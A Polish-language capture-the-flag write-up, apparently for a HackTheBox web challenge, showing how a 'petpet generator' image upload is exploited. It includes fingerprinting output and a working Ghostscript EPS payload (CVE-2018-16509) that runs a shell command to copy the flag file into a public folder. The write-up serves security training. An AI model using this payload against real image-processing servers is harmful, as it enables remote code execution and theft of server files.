Bees are comfy 🍯
bees are great 🌟🌟🌟
this is a petpet generator 👋
let’s join forces and save the bees today! 🐝
Po wejściu na stronę widzimy słodką animację pszczółek oraz możliwość przesłania plików.

Nie możemy przesłać plików o innych rozszerzeniach niż jpg, png i jpeg. Kiedy już zdjęcie zostanie przesłane, jest ono podmieniane z istniejącą wcześniej fotografią pszczółki.

Następnie przyjrzyjmy się zastosowanym technologiom na stronie za pomocą narzędzia wad.
┌──(bugspace㉿kali)-[~/.local/bin]
└─$ wad -u http://ip:port/
{
"http://ip:port/": [
{
"app": "Flask",
"ver": "2.0.1",
"type": "Web Application Frameworks,Web Servers"
},
{
"app": "Python",
"ver": "3.9.5",
"type": "Programming Languages"
},
{
"app": "jQuery",
"ver": "3.5.1",
"type": "JavaScript Libraries"
},
{
"app": "Bootstrap",
"ver": "4.5.0",
"type": "UI Frameworks"
},
{
"app": "Google Font API",
"ver": null,
"type": "Font Scripts"
}
]
}
Przyszedł czas na wyszukiwanie informacji o podatnościach związanych z przesyłaniem plików. Pierwszą informacją, która może nas wprowadzić w błąd, jest używanie jako frameworka flask. Szukanie podatności związanych z przesyłaniem w nim plików na niewiele się zda. Sprawdzamy więc informacje związane z jQuery i natrafiamy na ten artykuł. Idąc tym tropem znajdujemy repozytorium z gotowym payloadem do wykonywania zdalnego kodu na serwerze.
Po ściągnięciu plików aplikacji ze strony htb wiemy, że główny folder aplikacji to „/app”. Mówi nam o tym plik Dockerfile.
# Setup app
RUN mkdir -p /app
WORKDIR /app
# Add application
COPY challenge .
Idąc katalogami do góry (do folderu ze statycznymi plkami), nasza ścieżka absolutna wygląda w następujący sposób:
/app/application/static/petpets/FILENAME
Teraz pozostaje nam tylko nieco zmodyfikować payload, aby na początku sprawdził plik „flag” (nazwę znamy ze ściągniętych plików) i przekierował jego zawartość do nowo utworzonego przez nas pliku myoutput.txt w folderze ze statycznymi plikami.
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat /app/flag > /app/application/static/petpets/myoutput.txt) currentdevice putdeviceprops
Po przesłaniu zdjęcia z payloadem i wejściu w plik pod linkiem http://ip:port/static/petpets/myoutput.txt
otrzymujemy flagę.
Źródła
https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509
https://blog.detectify.com/2018/12/13/jquery-file-upload-a-tale-of-three-vulnerabilities/
https://github.com/Mr5m1th/POC-Collect/blob/master/ImageMagick/Ghostscript_9.23/README.md
https://www.vulnspy.com/en-jquery-file-upload-below-v9.x-rce/
https://bugs.chromium.org/p/project-zero/issues/detail?id=1640